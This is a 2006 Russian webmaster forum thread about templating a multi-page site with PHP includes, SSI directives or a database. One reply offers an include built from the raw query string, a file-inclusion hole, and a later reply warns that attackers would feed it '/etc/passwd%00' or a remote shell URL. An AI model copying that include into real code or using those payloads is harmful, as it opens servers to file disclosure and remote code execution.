форум вебмастероff на AlfaSpace.NET |
Ubuntu и Linux
|реактивный бесплатный хостинг
| Киноклуб. ВСЁ БЕСПЛАТНО!
база знаний хостинга
|
правила форума
| Начало ° Ответить ° Статистика ° Опрос ° Регистрация ° Поиск ° FAQ ° |
| Форум вебмастеров на AlfaSpace.NET / Создание сайта / Первая попытка выйти замуж |
| . 1 . 2 . >> |
| Автор | Сообщение |
| Valeriy Участник 635 |
# Дата: 1 Ноя 2006 07:44 Никуда от РНР не деться... В общем, у меня 100+100 страниц. На шаблонах. Итак, главная уже РНР, туда <? include("хххх.php") вставляется уже много чего. Допустим, я все страницы, кроме главной, освобождаю от кода шаблона. И теперь смогу запихнуть эту страницу в главную простым инклюдом. Вопрос первый: можно ли запихнуть страницу html, или же придется делать нечто? Вопрос второй: как организовать саму эту страницу, то есть ту, которая будет показываться уже с шаблоном и инклюдом? Мне нужно сохранять 200 пустых шаблонов с кодом инклюда, обзывать их и еще 200 инклюдиков, которые будут вставляться? ну, есть же нечто проще, а? |
| help Техпомощь 1251 |
# Дата: 1 Ноя 2006 10:19 Не уверен, что правильно понял вопрос, но скрипт след. вида работает:
<?php
include("pageN.htm");
?>
Второй вопрос не осилил ![]() |
| Valeriy Участник 635 |
# Дата: 1 Ноя 2006 11:34 help, cпасібо, с первым вопросом уже проще. По второму... Как мне сгенерировать любую другую страницу, имея одну главную и массу тех, которые должны в нее попасть? То бишь, я имею главную - оформленную и красивую, в ней есть некая талица. В эту таблицу я вставляю код инклюда - и уже в итоге другая страница. Вставил код третьей - формируется с шапкой и красивостями - третья страница. Так вот как же мне это дело сгенерировать? Чтоб нажал на ссылку - в главной изменился код и загрузилась нужная страница? Как один из выходов я нашел - это преоброзавание всех моих страниц в ХML. Но будет ли эта хрень поддерживаться везде и всюду? |
| Serg Участник 1815 |
# Дата: 1 Ноя 2006 11:55 Valeriy Раздели шаблон на две части. В первую помести код до того места, где сейчас у тебя инклюд, во вторую - всё, что после инклюда. Во всех этих двух сотнях файлах сверху страницы вставь инклюд на верхний шаблон, дальше у тебя будет текст страницы, а после текста помести инклюд на нижний шаблон. |
| gl_SPICE Участник 1787 |
# Дата: 1 Ноя 2006 12:13 » Valeriy Как один из выходов я нашел - это преоброзавание всех моих страниц в ХML.
Но будет ли эта хрень поддерживаться везде и всюду? Будет, но это не совсем то, что ты ищешь, ибо поисковики в случае с XML тебя не так поймут .
Я, конечно, плохо понял что тебе нужно, но есть два варианта: первый — вставлять контент в дизайн, второй — дизайн в контент. 1. Контент в дизайн. Пишем страницу с дизайном, там, где должен быть контент пишем: <? include(_SERVER['QUERY_STRING'.'.html']); ?>, а ссылку на эту страницу ставим такую: <страница с дизайном>?<имя страницы с контентом, без расширения html>. Ну это в общих чертах . Самый противный момент — нельзя прописать тайтл и мета для каждой страницы.
2. Дизайн в контент. Пишем минимум две страницы с дизайном: одна — шапка, где записано всё, что встречается до страницы контента (лого, левое вертикальное меню, горизонтальное меню и так далее), а вторая страница содержит всё, что после контента (счётчики, правый столбик меню, повтор горизонтального меню и так далее). Далее, на страничке контента пишем: <!DOCTYPE><html><head><meta><title> <? include('<шапка>.htm'); ?> <контент> <? include('<подвал>.htm'); ?> Ссылка на страничку будет как и при статике. |
| acsid Alfa Guru 2449 |
# Дата: 1 Ноя 2006 15:35 да вы что ребята... делай один шаблон, информацию со всех этих страниц пометсти в базу. в шаблоне поставь сови какие нибудь тэги: [nenu],[main_content] и так далее а потом доставай инфу из базы в зависимости от того какой id= (в ссылке) а сам индекс пхп организуй так: $shablon=file_get_contents("shablon.html"); $shablon=str_replace("[nenu]","заменяй на то что получил из базы",$shablon); и потом print $shablon; В итоге у тебя денамический индекс.пхп информация в котором меняется в зависимости от того что у тебя в .php?id=1 или 2 или 3.... |
| gl_SPICE Участник 1787 |
# Дата: 1 Ноя 2006 15:43 acsid, ты-то уж помолчи, дай ламерам поболтать . |
| Valeriy Участник 635 |
# Дата: 1 Ноя 2006 16:38 gl_SPICE истину сказал... про ламеров
acsid, спасибо, я понял, что твой вариант - это самый простой, но и самый умный. Далеко мне до него. А просто написать, и работать будет - не надо. Мне ведь что-то менять надо будет, переделывать, то есть суть понять надо. Serg, gl_SPICE, спасибо,понял я главное - именно организацию страницы в РНР. вот этот самый "?" дает то, что нужно... Значит, и сама главная страница будет у меня такая же - без шапки-ссылок... Так, да? При первом варианте нельзя прописать титл... и ссылка будет неудобовариваемая...Серьезно. Второй вариант - а почему обязательно два шаблона? Одного мало? Или - у меня будет скорее так ?шапка ?меню контент Так неправильно? Обязательно закрыть это дело? ?подвал По xml уже попробавал. Конечно, это не РНР, код получается весьма странным (я дремвайвере перегнал...) Спасибо, буду пробовать. |
| gl_SPICE Участник 1787 |
# Дата: 1 Ноя 2006 18:57 Valeriy, да нет, можно и только шапку, но вдруг ты захочешь что-нибудь поместить внизу каждой страницы? Опять все файлы перезакачивать? Файл подвала не обязательно должен что-то содержать, оставь его пустым . |
| Valeriy Участник 635 |
# Дата: 2 Ноя 2006 10:43 ° Поправил: Valeriy gl_SPICE и остальным - большое (очень даже) спасибо. Создал три страницы диза, свой старый шаблон переделал - выбросил весь диз, вписав туда инклюды. Применил шаблон сразу ко всем страницам - милое дело (в Дремвайвере). ну и за 20 минут изменил расширение файлов на рнр. Чудо - сейчас не надо перегружать все страницы, если изменяю одну ссылку в меню. Хорошо иностранные языки знать! (с) |
| Константин TorrentMaster 3516 |
# Дата: 2 Ноя 2006 13:01 ° Поправил: Константин » gl_SPICE <? include(_SERVER['QUERY_STRING'.'.html']); ?>как только это увидят, то попробуют передать туда нечто вида /etc/passwd%00 или еще лучше - хttp://host.domain/shell.txt%00
Поэтому так делать не надо
Так что acsid правильно написал про использование базы и вытаскивания оттуда имени файла по id, хотя и это не панацея
В общем рекомендую выложить код, который напишешь в этот топик - чтобы проверить его на надежность |
| gl_SPICE Участник 1787 |
# Дата: 2 Ноя 2006 17:34 » Константин как только это увидят» gl_SPICE Ну это в общих чертахЯ ж не буду тут всё досканально расписывать . Но делать базу — мегатупизм, легче сделать так, как я описал во втором варианте, и эффект нужный достигнут, и в браузере будет нормальный URL, а не тупой id . |
| acsid Alfa Guru 2449 |
# Дата: 3 Ноя 2006 15:34 » gl_SPICE Но делать базу — мегатупизм,» gl_SPICE а не тупой id .gl_SPICE Доказывай свою точку зрения более цевилизованным способом пожалуйста. |
| Valeriy Участник 635 |
# Дата: 4 Ноя 2006 07:05 gl_SPICE Вообще-то ты зря так на базу, по-моему наехал. У меня один сайт на базе, движок Маркус писал лично для меня. Туда я бросаю вот уже полтора года текстовые громадные куски, разбитые на заголовки и рубрики, с фото и без. И убеждаюсь - какая эта мощь. Именно за базу, даже не имея понятия о РНР, я ухаватился был, когда только чуть познакомился с сайтами... |
| gl_SPICE Участник 1787 |
# Дата: 4 Ноя 2006 07:35 Valeriy, ты просил решить конкретную проблему, и спрашивал, есть ли что по-проще. База в моём понятии это не упрощение, а усложнение. И меня тут скорее интересует, что в этой базе будет храниться, ids и имена файлов? А как они туда будут попадать? Ручками записывать? Или придётся писать отдельный скрипт для записи в этот файл? Так может сразу двиг писать сядем? |
| Serg Участник 1815 |
# Дата: 4 Ноя 2006 08:16 То, что я предложил прочще и мощнее всего. Давайте не будем спорить Сам использую на множестве проектов, очень удобно и нет недостатков в способе шаблонизации в этом. |
| gl_SPICE Участник 1787 |
# Дата: 4 Ноя 2006 08:49 Serg, согласен. Тут даже PHP можно не использовать, SSI обойтись. |
| Jizus CREED Участник 684 |
# Дата: 4 Ноя 2006 14:39 Valeriy Если нужно просто сделать динамический диз (насколько я понял))) ), то юзать пхп и впрямь не обязательно. SSI больше подойдёт, как сказал gl_SPICE. Сделать отдельные файлы для шапки и подвала (и чего там ещё нужно будет) и вставлять через ssi-директивы в каждый файл... зы - сорри, ели не правильно понял вопрос) |
| Valeriy Участник 635 |
# Дата: 4 Ноя 2006 15:28 Jizus CREED gl_SPICE Serg ребята, я именно так и сделал. Еще раз спасибо. Заодно уж объясните, разве те инклюды не являются рнр? Ведь это скрипт именно РНР, плюс сам файл я так именую. А что такое SSI? Это не тот вариант, когда один файл (скажем - материнский) записывается как shtml, а в него посредством адной команды вставляются файлы? |
| gl_SPICE Участник 1787 |
# Дата: 4 Ноя 2006 15:42 Деректива, вставляющая один файл в другой выглядит так: <!--#include virtual="head.html" --> Вставляется файл head.html. Чтобы не переименовывать все файлы в shtml, можно прописать в файле .htaccess следующее: AddType text/x-server-parsed-html .html .htm Эффект будет такой же, как и при инклуде в PHP, только интерпритатор гонять ради одного только инклуда не придётся, всё-таки PHP для более сложных задач . |
| Jizus CREED Участник 684 |
# Дата: 4 Ноя 2006 16:23 » Valeriy Заодно уж объясните, разве те инклюды не являются рнр? Те? Являются))) |
| Valeriy Участник 635 |
# Дата: 4 Ноя 2006 16:46 gl_SPICE, все бы хорошо, если бы все было. А у меня хостер вот именно такую фишку и не взял - такие директивы он не поддерживает. Так что рнр оправдано... |
| gl_SPICE Участник 1787 |
# Дата: 4 Ноя 2006 17:28 Valeriy, нифига себе , обычно SSI даже на самых минимальных тарифах бывает. И кто же твой хостер? |
| Valeriy Участник 635 |
# Дата: 5 Ноя 2006 05:29 gl_SPICE Дело не в минимальных тарифах. Дело в безопасности. Они отрубили очень многое, что дают другие хостеры. А хостер - государственный. Цену скажу - упадешь. ну, например за 3 (три) метра плюс одна база плюс рнр (CGI -нет) берут почти 1 у.е. В месяц ![]() |
| gl_SPICE Участник 1787 |
# Дата: 5 Ноя 2006 06:57 О, кстати, в тему . Правда не знаю, к кому вопрос, наверное к Константину.
» Константин как только это увидят, то попробуют передать туда нечто вида /etc/passwd%00 или еще лучше - хttp://host.domain/shell.txt%00А если я сделаю через SSI? <!--#include virtual="$QUERY_STRING.txt" --> Там ведь такая фишка не сработает? |
| aciminsk Участник 62 |
# Дата: 7 Ноя 2006 04:35 ° Поправил: aciminsk Еще две копейки. Пока проверяется, но как работает можно посмотреть на http://aciminsk.frih.net (С альфамуна сайт был удален и судя по всему новая заявка будет реализована не скоро). 1. Создал шаблон с тремя колонками для содержимого (Форматировал стилями) 2. Создал csv файл (текстовой файл, в котором поля разделены запятыми). куда занес атрибуты страниц и координаты блоков с содержимым. 3. Информация для запрашиваесой страницы из csv файла извлекается в массив. 4. Создал файлы содержимого. 5. В шаблоне страницы вставил инклуды где вместо файлов указал элементы массива. |
| Михаил Ушел в бан) 2582 |
# Дата: 7 Ноя 2006 04:45 aciminsk И? Что ты хотел этим сказать? )) Расписать прелести? Тогда тебе в рекламу. |
| aciminsk Участник 62 |
# Дата: 7 Ноя 2006 05:15 » Михаил И? Что ты хотел этим сказать? )) Расписать прелести? Тогда тебе в рекламу.Да нет, я тоже учусь, думал может человеку окажется полезным |
| Рамиль minibb moder 1152 |
# Дата: 7 Ноя 2006 05:21 aciminsk Забей мич не то понял А вот на твоём сайте осталось Processing line = 1 Array ( [0] => 1 [1] => ACI Minsk. Belarus Info Guides [2] => css/aci3.css [3] = |
| aciminsk Участник 62 |
# Дата: 7 Ноя 2006 05:29 » Рамиль Забей мич не то понял А вот на твоём сайте осталось.....Да я знаю, оставил пока тестирую что-бы видеть содержание массива и что реально отображается |
| . 1 . 2 . >> |
|
Powered by miniBB forum software © 2001-2008
Powered by miniBB-gzipper. Original size:51180, gzipped size:14497 |